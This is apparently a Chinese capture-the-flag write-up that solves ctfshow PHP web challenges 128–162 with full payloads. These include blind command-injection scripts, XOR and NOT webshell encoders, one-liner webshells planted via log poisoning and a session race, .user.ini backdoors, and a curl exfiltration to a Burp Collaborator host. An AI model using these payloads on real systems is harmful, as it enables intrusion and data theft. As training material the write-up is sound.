,这里空格没有被ban,所以我们就使用空格,payload为
¶ web128
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php error_reporting(0 ); include ("flag.php" );highlight_file(__FILE__ ); $f1 = $_GET['f1' ]; $f2 = $_GET['f2' ]; if (check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else { echo "嗯哼?" ; } function check ($str ) { return !preg_match('/[0-9]|[a-z]/i' , $str); }
这里嵌套了两层的call_user_func,关于call_user_func函数在前面的题中已经讲过,不过我们可以再回顾一下,同时介绍新的知识点
call_user_func() 函数把第一个参数作为回调函数,其余参数都是回调函数的参数
这里对$f1
进行了正则过滤,不能为数字和字母,这里可以使用gettext拓展,开启此拓展_() 等效于 gettext()
1 2 3 4 5 6
<?php echo gettext("ctfshownb" );echo _("ctfshownb" );
因此call_user_func('_','ctfshownb')
返回的结果为ctfshownb,接下来到第二层call_user_func
,找了一圈发现get_defined_vars
函数可以使用
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
所以payload也就出来了
1
?f1=_&f2=get_defined_vars
整个执行流程就是
1 2 3
var_dump(call_user_func(call_user_func($f1,$f2))); var_dump(call_user_func(call_user_func(_,'get_defined_vars'))); var_dump(call_user_func(get_defined_vars));//输出数组
¶ web129
1 2 3 4 5 6 7 8 9
<?php error_reporting(0 ); highlight_file(__FILE__ ); if (isset ($_GET['f' ])){ $f = $_GET['f' ]; if (stripos($f, 'ctfshow' )>0 ){ echo readfile($f); } }
倒是变得简单了,传入get参数f,并且字符串中包含ctfshow就会读取文件,所以有多种利用姿势,这里讲几种第一种 直接文件包含
1
?f=/ctfshow/../../../../../../../../../var/www/html/flag.php
然后右键源码查看flag第二种 远程文件包含,在自己的服务器上写一句话木马进行利用,url为你的服务器ip或者域名,xxxx.txt为你写的一句话木马
1
?f=http://url/xxxx.txt?ctfshow
第三种 使用php伪协议读取
1
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
¶ web130
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php error_reporting(0 ); highlight_file(__FILE__ ); include ("flag.php" );if (isset ($_POST['f' ])){ $f = $_POST['f' ]; if (preg_match('/.+?ctfshow/is' , $f)){ die ('bye!' ); } if (stripos($f, 'ctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag; }
额,这题直接就ctfshow就过了,因为正则模式匹配不到,然后stripos()
搜索字符串返回的值是0(因为ctfshow第一次出现的位置就是0下标)也跳过了if里的语句直接输出flag,所以payload为
但还是讲一下这题本来的考点,提示very应该考的是正则的最大回溯
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
写一个脚本来发包
1 2 3 4 5 6 7 8 9 10 11
import requestsurl = "http://48390078-c20a-4f56-8b4e-148df47485cb.chall.ctf.show:8080/" data = { 'f' : 'dotast' *170000 +'ctfshow' } res = requests.post(url=url,data=data) print(res.text)
¶ web131
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php error_reporting(0 ); highlight_file(__FILE__ ); include ("flag.php" );if (isset ($_POST['f' ])){ $f = (String )$_POST['f' ]; if (preg_match('/.+?ctfshow/is' , $f)){ die ('bye!' ); } if (stripos($f,'36Dctfshow' ) === FALSE ){ die ('bye!!' ); } echo $flag; }
这次加了string函数,用上题脚本改一下就可以,一样利用正则的回溯次数
1 2 3 4 5 6 7 8 9 10 11
import requestsurl = "http://9b9aa879-e1b7-4f83-9c38-ea3132ac969b.chall.ctf.show:8080/" data = { 'f' : 'dotast' *170000 +'36Dctfshow' } res = requests.post(url=url,data=data) print(res.text)
运行脚本即可得到flag
¶ web132
打开是一个唬人的网页 在robots.txt里看到提示admin 访问后看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php include ("flag.php" );highlight_file(__FILE__ ); if (isset ($_GET['username' ]) && isset ($_GET['password' ]) && isset ($_GET['code' ])){ $username = (String )$_GET['username' ]; $password = (String )$_GET['password' ]; $code = (String )$_GET['code' ]; if ($code === mt_rand(1 ,0x36D ) && $password === $flag || $username ==="admin" ){ if ($code == 'admin' ){ echo $flag; } } }
三个get参数,并且有个if判断条件;php运算符优先级 ||
优先级低于&&
,看个简单例子
1 2 3 4 5
<?php if (false && false || true ){ echo 667 ; }
逻辑也很好理解,所以我们只需要满足username=admin
过第一个if条件,code=admin
满足第二个if条件即可,payload为
1
?username=admin&code=admin&password=dotast
¶ web133
1 2 3 4 5 6 7 8 9 10 11
<?php error_reporting(0 ); highlight_file(__FILE__ ); if ($F = @$_GET['F' ]){ if (!preg_match('/system|nc|wget|exec|passthru|netcat/i' , $F)){ eval (substr($F,0 ,6 )); }else { die ("6个字母都还不够呀?!" ); } }
这里限制了一些命令执行语句并且还限制了6个数字,我们可以采取套娃的方式来获得更多控制语句的空间
1 2 3 4 5 6 7
get传参:F=`$F `;sleep 6 经过substr($F,0,6)截取后 得到 `$F `; 一共6个字符,之前说过``反引号等于shell_exec执行命令 eval("`$F `;sleep 6"); 而$F就是我们输入的`$F `;sleep 6 最后执行的代码应该是``$F`;+sleep 3` 这样就成功执行了 sleep 6,可以看到发包后延长了6秒左右 前面的命令是执行我们的$F,后面的命令我们就可以自定义$F语句
这里首先打开burpsuite里的Collaborator Client payload为
1
?F=`$F `;curl -X POST -F a[email protected] gn7nld7jteju8f8ww19yhgwfc6ix6m.burpcollaborator.net
¶ web134
1 2 3 4 5 6 7 8 9 10 11 12
<?php highlight_file(__FILE__ ); $key1 = 0 ; $key2 = 0 ; if (isset ($_GET['key1' ]) || isset ($_GET['key2' ]) || isset ($_POST['key1' ]) || isset ($_POST['key2' ])) { die ("nonononono" ); } @parse_str($_SERVER['QUERY_STRING' ]); extract($_POST); if ($key1 == '36d' && $key2 == '36d' ) { die (file_get_contents('flag.php' )); }
看到parse_str()
函数和extract()
函数,可以看得出是变量覆盖,这两个函数前面的题都讲过了,我们再简单讲一下流程
1 2
parse_str($_SERVER['QUERY_STRING' ]); var_dump($_POST);
如果我们传入?_POST[a]=dotast,就会输出array(1) { ["a"]=> string(6) "dotast" }
,再使用extract函数,就会变成$a=dotast
所以payload为
1
?_POST[key1]=36d&_POST[key2]=36d
¶ web135
1 2 3 4 5 6 7 8 9 10 11
?php error_reporting(0 ); highlight_file(__FILE__ ); if ($F = @$_GET['F' ]){ if (!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i' , $F)){ eval (substr($F,0 ,6 )); }else { die ("师傅们居然破解了前面的,那就来一个加强版吧" ); } }
在web133基础上多ban了很多函数,cp复制到能访问的文本就可以,所以payload为
1
?F=`$F `;cp flag.php 2.txt
¶ web136
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php error_reporting(0 ); function check ($x ) { if (preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x)){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET['c' ])){ $c=$_GET['c' ]; check($c); exec($c); } else { highlight_file(__FILE__ ); } ?>
这里ban了大量函数和字符,不过在linux下还有一个命令tee
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件 用法: tee file1 file2 //复制文件 ls|tee 1.txt //命令输出到1.txt文件中
首先查看一下根目录文件
接着访问dotast进行下载 读取f149_15_h3r3文件到dotast中,继续下载查看 得到flag
¶ web137
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php error_reporting(0 ); highlight_file(__FILE__ ); class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents("flag.php" ); } } call_user_func($_POST['ctfshow' ]);
没有难度,就是直接调用ctfshow类中的getFlag方法就好,payload为
1 2
post: ctfshow=ctfshow::getFlag
记得右键查看源码
¶ web138
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php error_reporting(0 ); highlight_file(__FILE__ ); class ctfshow { function __wakeup ( ) { die ("private class" ); } static function getFlag ( ) { echo file_get_contents("flag.php" ); } } if (strripos($_POST['ctfshow' ], ":" )>-1 ){ die ("private function" ); } call_user_func($_POST['ctfshow' ]);
在前一题基础上把冒号给ban了,但call_user_func
支持传入数组形式
call_user_func(array($ctfshow, ‘getFlag’)); 这时候会调用ctfshow中的getFlag方法
所以payload为
1
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
¶ web139
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php error_reporting(0 ); function check ($x ) { if (preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $x)){ die ('too young too simple sometimes naive!' ); } } if (isset ($_GET['c' ])){ $c=$_GET['c' ]; check($c); exec($c); } else { highlight_file(__FILE__ ); } ?>
咋看好似和之前的题没变化,但好像ban了写入文件的权限,没有回显了,只能开始盲注了,这里去了解了一下shell编程😿 利用shell编程的if判断语句配合awk以及cut命令来获取flag awk逐行获取数据 cut命令逐列获取单个字符 利用if语句来判断命令是否执行 用命令ls \
查看根目录来获取flag文件名,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
import requestsurl = "http://1bb8ea48-6413-47ef-94bb-8dd313c14c9e.chall.ctf.show:8080/" result = "" for i in range(1 ,5 ): for j in range(1 ,15 ): for k in range(32 ,128 ): k=chr(k) payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j} ` == {k} ];then sleep 2;fi" try : requests.get(url=url+payload, timeout=(1.5 ,1.5 )) except : result = result + k print(result) break result += " "
发现一个文件名是f149_15_h3r3的文件,flag就在这里边,那就改一下脚本cat一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import requestsurl = "http://1bb8ea48-6413-47ef-94bb-8dd313c14c9e.chall.ctf.show:8080/" result = "" for j in range(1 ,60 ): for k in range(32 ,128 ): k=chr(k) payload = "?c=" + f"if [ `cat /f149_15_h3r3 | cut -c {j} ` == {k} ];then sleep 2;fi" try : requests.get(url=url+payload, timeout=(1.5 ,1.5 )) except : result = result + k print(result) break result += " "
得到flag 需要加上{}
¶ web140
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php error_reporting(0 ); highlight_file(__FILE__ ); if (isset ($_POST['f1' ]) && isset ($_POST['f2' ])){ $f1 = (String )$_POST['f1' ]; $f2 = (String )$_POST['f2' ]; if (preg_match('/^[a-z0-9]+$/' , $f1)){ if (preg_match('/^[a-z0-9]+$/' , $f2)){ $code = eval ("return $f1 ($f2 ());" ); if (intval($code) == 'ctfshow' ){ echo file_get_contents("flag.php" ); } } } }
最后if判断弱比较等于“ctfshow”的时候输出flag,看一下弱比较参考表 可以看到0和字符串进行弱比较的时候返回的是true,因为==
在进行比较的时候,会先将字符串类型转化成相同,再比较,而ctfshow是一个字符串,和0相比较的时候要转换成数字,ctfshow转换成数字的时候是0,所以相等返回true 而intval()函数会将非数字或非数字字符串转换为0,也就是我们传入的f1和f2互相构造即可,我们可以构造一个md5,这样intval就会返回0 所以payload为
右键查看源码即可得到flag
¶ web141
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php highlight_file(__FILE__ ); if (isset ($_GET['v1' ]) && isset ($_GET['v2' ]) && isset ($_GET['v3' ])){ $v1 = (String )$_GET['v1' ]; $v2 = (String )$_GET['v2' ]; $v3 = (String )$_GET['v3' ]; if (is_numeric($v1) && is_numeric($v2)){ if (preg_match('/^\W+$/' , $v3)){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code; } } }
分析源代码,这里用了正则表达式/^\W+$/
,把数字和字母还有下划线给ban了,之前无字母数字的webshell我们用了或运算,这次用异或来吧(或运算,异或,取反等等都可以),python脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
import requestsimport urllibimport redef write_rce (): result = '' preg = '[a-zA-Z0-9]' for i in range(256 ): for j in range(256 ): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i ^ j if k >= 32 and k <= 126 : a = '%' + hex(i)[2 :].zfill(2 ) b = '%' + hex(j)[2 :].zfill(2 ) result += (chr(k) + ' ' + a + ' ' + b + '\n' ) f = open('xor_rce.txt' , 'w' ) f.write(result) def action (arg ): s1 = "" s2 = "" for i in arg: f = open("xor_rce.txt" , "r" ) while True : t = f.readline() if t == "" : break if t[0 ] == i: s1 += t[2 :5 ] s2 += t[6 :9 ] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output) def main (): write_rce() while True : s1 = input("\n[+] your function:" ) if s1 == "exit" : break s2 = input("[+] your command:" ) param = action(s1) + action(s2) print("\n[*] result:\n" + param) main()
然后v1和v2就随意填,v3填构造出的payload即可,但注意的是这里有个return干扰,所以我们要在v3的payload前边和后面加上一些字符就可以执行命令,例如\+ - *
等等 查看当前目录下文件
1
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
看到flag.php,再生成一次payload 获取flag
1
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
¶ web142
1 2 3 4 5 6 7 8 9 10 11
<?php error_reporting(0 ); highlight_file(__FILE__ ); if (isset ($_GET['v1' ])){ $v1 = (String )$_GET['v1' ]; if (is_numeric($v1)){ $d = (int )($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d ); sleep($d); echo file_get_contents("flag.php" ); } }
is_numeric()
函数匹配为数字或者数字字符串的话会返回true,所以我们只需要输入数字就可以,但下面有个sleep休眠,所以需要传0,否则等到天荒地老… payload为
¶ web143
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php highlight_file(__FILE__ ); if (isset ($_GET['v1' ]) && isset ($_GET['v2' ]) && isset ($_GET['v3' ])){ $v1 = (String )$_GET['v1' ]; $v2 = (String )$_GET['v2' ]; $v3 = (String )$_GET['v3' ]; if (is_numeric($v1) && is_numeric($v2)){ if (preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i' , $v3)){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code; } } }
在web141的基础上多ban掉一些字符,ban了取反,但没ban异或需要的^
,所以还是可以用web141的脚本,不过需要改一下规则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
import requestsimport urllibimport redef write_rce (): result = '' preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;' for i in range(256 ): for j in range(256 ): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i ^ j if k >= 32 and k <= 126 : a = '%' + hex(i)[2 :].zfill(2 ) b = '%' + hex(j)[2 :].zfill(2 ) result += (chr(k) + ' ' + a + ' ' + b + '\n' ) f = open('xor_rce.txt' , 'w' ) f.write(result) def action (arg ): s1 = "" s2 = "" for i in arg: f = open("xor_rce.txt" , "r" ) while True : t = f.readline() if t == "" : break if t[0 ] == i: s1 += t[2 :5 ] s2 += t[6 :9 ] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output) def main (): write_rce() while True : s1 = input("\n[+] your function:" ) if s1 == "exit" : break s2 = input("[+] your command:" ) param = action(s1) + action(s2) print("\n[*] result:\n" + param) main()
记住,v3这里需要前后加上符号拜托掉return,最终payload如下
1
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
¶ web144
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php highlight_file(__FILE__ ); if (isset ($_GET['v1' ]) && isset ($_GET['v2' ]) && isset ($_GET['v3' ])){ $v1 = (String )$_GET['v1' ]; $v2 = (String )$_GET['v2' ]; $v3 = (String )$_GET['v3' ]; if (is_numeric($v1) && check($v3)){ if (preg_match('/^\W+$/' , $v2)){ $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code; } } } function check ($str ) { return strlen($str)===1 ?true :false ; }
和web141一样,这是参数需要改一下,因为这里有个check函数对v3做检测,我们把payload改到v2即可,运行web141的脚本就行 payload如下
1
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
¶ web145
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php highlight_file(__FILE__ ); if (isset ($_GET['v1' ]) && isset ($_GET['v2' ]) && isset ($_GET['v3' ])){ $v1 = (String )$_GET['v1' ]; $v2 = (String )$_GET['v2' ]; $v3 = (String )$_GET['v3' ]; if (is_numeric($v1) && is_numeric($v2)){ if (preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3)){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code; } } }
在前面基础上ban了异或,但放行了~
取反运算符,但之前v3需要* ; + -
等等符号来拜托return,但都被ban了,测试了一下发现|
可以使用 取反脚本如下
1 2 3 4 5 6
<?php fwrite(STDOUT,'[+]your function: ' ); $system=str_replace(array ("\r\n" , "\r" , "\n" ), "" , fgets(STDIN)); fwrite(STDOUT,'[+]your command: ' ); $command=str_replace(array ("\r\n" , "\r" , "\n" ), "" , fgets(STDIN)); echo '[*] (~' .urlencode(~$system).')(~' .urlencode(~$command).');' ;
运行后构造payload如下
1
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
¶ web146
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php highlight_file(__FILE__ ); if (isset ($_GET['v1' ]) && isset ($_GET['v2' ]) && isset ($_GET['v3' ])){ $v1 = (String )$_GET['v1' ]; $v2 = (String )$_GET['v2' ]; $v3 = (String )$_GET['v3' ]; if (is_numeric($v1) && is_numeric($v2)){ if (preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i' , $v3)){ die ('get out hacker!' ); } else { $code = eval ("return $v1 $v3 $v2 ;" ); echo "$v1 $v3 $v2 = " .$code; } } }
没看出和上一题有什么差别(可能多ban了一些字符),直接用上一题payload即可
1
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
¶ web147
1 2 3 4 5 6 7 8 9
<?php highlight_file(__FILE__ ); if (isset ($_POST['ctf' ])){ $ctfshow = $_POST['ctf' ]; if (!preg_match('/^[a-z0-9_]*$/isD' ,$ctfshow)) { $ctfshow('' ,$_GET['show' ]); } }
换了题型,这里对ctf进行了一个正则表达式过滤,post传参的ctf
和get传参的show
进行了组合,这里我们可以使用create_function()
代码注入
string create_function ( string args , string args , string code )
string $args 变量部分 string $code 方法代码部分
例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
create_function('$dotast' ,'echo $dotast."very cool"' ) function f ($dotast ) { echo $dotast."very cool" ; } function f ($dotast ) { echo 111 ; } phpinfo();
而正则表达式我们可以用\
进行绕过,正好\
在php里代表默认命名空间
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径。 如果你在其他namespace里调用系统类,必须使用绝对路径的写法
最终payload为
1 2 3 4
?show=echo 123;}system("tac flag.php");// post: ctf=\create_function
¶ web148
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php include 'flag.php' ;if (isset ($_GET['code' ])){ $code=$_GET['code' ]; if (preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/" ,$code)){ die ("error" ); } @eval ($code); } else { highlight_file(__FILE__ ); } function get_ctfshow_fl0g ( ) { echo file_get_contents("flag.php" ); }
没ban掉异或字符^
,之前用前面的脚本跑就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
import requestsimport urllibimport redef write_rce (): result = '' preg = '[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+' for i in range(256 ): for j in range(256 ): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i ^ j if k >= 32 and k <= 126 : a = '%' + hex(i)[2 :].zfill(2 ) b = '%' + hex(j)[2 :].zfill(2 ) result += (chr(k) + ' ' + a + ' ' + b + '\n' ) f = open('xor_rce.txt' , 'w' ) f.write(result) def action (arg ): s1 = "" s2 = "" for i in arg: f = open("xor_rce.txt" , "r" ) while True : t = f.readline() if t == "" : break if t[0 ] == i: s1 += t[2 :5 ] s2 += t[6 :9 ] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output) def main (): write_rce() while True : s1 = input("\n[+] your function:" ) if s1 == "exit" : break s2 = input("[+] your command:" ) param = action(s1) + action(s2) print("\n[*] result:\n" + param) main()
运行后得到payload
1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");
¶ web149
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
<?php error_reporting(0 ); highlight_file(__FILE__ ); $files = scandir('./' ); foreach ($files as $file) { if (is_file($file)){ if ($file !== "index.php" ) { unlink($file); } } } file_put_contents($_GET['ctf' ], $_POST['show' ]); $files = scandir('./' ); foreach ($files as $file) { if (is_file($file)){ if ($file !== "index.php" ) { unlink($file); } } }
这里用file_put_contents函数写入文件,并且会有两个for循环判断不是index.php的文件会被删除,所以我们直接把一句话木马写进index.php就可以,payload如下
1 2 3 4
?ctf=index.php post: show=<?php @eval($_POST[dotast]);?>
接着再index.php里利用我们的马即可
1 2 3 4
url+index.php post: dotast=system("cat /ctfshow_fl0g_here.txt");
¶ web150
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
<?php include ("flag.php" );error_reporting(0 ); highlight_file(__FILE__ ); class CTFSHOW { private $username; private $password; private $vip; private $secret; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class)){ $class(); } } $key = $_SERVER['QUERY_STRING' ]; if (preg_match('/\_| |\[|\]|\?/' , $key)){ die ("error" ); } $ctf = $_POST['ctf' ]; extract($_GET); if (class_exists($__CTFSHOW__)){ echo "class is exists!" ; } if ($isVIP && strrpos($ctf, ":" )===FALSE ){ include ($ctf); }
这里我用的日志包含绕过,应该也是非预期解,和前面写过的日志包含差不多,这里要想包含需要$isvip
变量为true或者1,这里有QUERY_STRING
和extract函数,所以我们可以直接通过get传参来定义(忘记这个知识点的往上看web127),然后再User-Agent
里写上一句话利用,这里写了脚本进行利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import requestsurl = "http://5166dd5a-495e-4cd2-bad1-6a13b1cba45a.chall.ctf.show:8080/" + "?isVIP=1" headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>' } data = { 'ctf' : '/var/log/nginx/access.log' , 'dotast' :'system("cat flag.php");' } result = requests.post(url=url, headers=headers, data=data) print(result.text)
运行后得到flag
¶ web150_plus
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
<?php include ("flag.php" );error_reporting(0 ); highlight_file(__FILE__ ); class CTFSHOW { private $username; private $password; private $vip; private $secret; function __construct ( ) { $this ->vip = 0 ; $this ->secret = $flag; } function __destruct ( ) { echo $this ->secret; } public function isVIP ( ) { return $this ->vip?TRUE :FALSE ; } } function __autoload ($class ) { if (isset ($class)){ $class(); } } $key = $_SERVER['QUERY_STRING' ]; if (preg_match('/\_| |\[|\]|\?/' , $key)){ die ("error" ); } $ctf = $_POST['ctf' ]; extract($_GET); if (class_exists($__CTFSHOW__)){ echo "class is exists!" ; } if ($isVIP && strrpos($ctf, ":" )===FALSE && strrpos($ctf,"log" )===FALSE ){ include ($ctf); }
在上一题的基础上ban了log字符,所以不能使用日志包含,但发现可以使用session进行文件包含,知识点忘记的可以看前面写的web82 web82写的脚本改改直接用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
import ioimport requestsimport threadingurl = 'http://7eda1482-7964-4319-96d3-1689b4a62307.chall.ctf.show:8080/' def write (session ): data = { 'PHP_SESSION_UPLOAD_PROGRESS' : '<?php system("tac f*");?>' } while True : f = io.BytesIO(b'a' * 1024 * 10 ) response = session.post(url,cookies={'PHPSESSID' : 'flag' }, data=data, files={'file' : ('dota.txt' , f)}) def read (session ): data = { 'ctf' :'/tmp/sess_flag' } while True : response = session.post(url+'?isVIP=1' ,data=data) if 'ctfshow' in response.text: print(response.text) break else : print('retry' ) if __name__ == '__main__' : session = requests.session() for i in range(30 ): threading.Thread(target=write, args=(session,)).start() for i in range(30 ): threading.Thread(target=read, args=(session,)).start()
运行后即可得到flag
¶ 文件上传(151-170)
¶ web151
上传图片马,然后在burpsuie里把后缀png更改为php,再去执行命令即可,制作图片马方法
1 2
用一张小点的图片和一句话木马,利用copy命令生成图片马 copy 1.png/b+2.php/a 3.png
¶ web152
和上题一样的方法
¶ web153
开始对php后缀进行了限制,这里我们利用.user.ini
来构造后门
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
这里说一下php中的两个配置项
1 2
auto_prepend_file=filename //包含在文件头 auto_append_file=filename //包含在文件尾
举个例子
1 2 3 4 5 6 7
//.user.ini auto_prepend_file=1.png //1.png <?php phpinfo();?> //1.php(任意php文件)
满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require('1.png')
,进行了文件包含,所以我们就依次上传即可
首先上传.user.ini
文件 接着上传一个图片马 然后访问upload目录,即做题地址+/upload
即可,因为此目录下原本有个index.php,接着再执行我们的一句话木马获取flag
¶ web154
继续按照上题步骤,传一个.user.ini
文件,接着在上传图片马的时候报错了 解码后显示的文字是不支持格式,说明可能内容里的php被ban了,改成短标签的形式再上传,发现可以通过
1
短标签形式:<?=system("tac ../f*");?>
接着再访问upload目录,即可得到flag
¶ web155
用上题(web154)的办法可以通过
¶ web156
用上题(web154)的办法可以通过
¶ web157
一样用上题(web154)的办法可以通过,但过滤了分号,把短标签后面的;
去掉,即
1
短标签形式:<?=system("tac ../f*")?>
¶ web158
和上题一样的做法
¶ web159
这里把()给ban了,我们采用反引号来执行命令,即
¶ web160
依旧上传个.user.ini
文件,但在传图片马的时候把反引号给ban了,我们使用include命令去配合php伪协议进行读取,因为把php给ban了,所以我们需要拼接起来,即
1
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
上传后访问upload目录 接着再base64解码即可得到flag
¶ web161
这次上传失败了,尝试在头部加了图片文件头,就过去了,所以这里应该是用了getimagesize()进行检测
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
所以在上题的基础上都加个GIF89a图片头就可以了 接着进行base64解码即可得到flag
¶ web162
这次把.
给ban了,我们使用session文件包含,又忘记知识点的可以去看web82;还是一样先上传.user.ini
,内容为
1 2
GIF89a auto_prepend_file=/tmp/sess_muma
接着再运行脚本即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
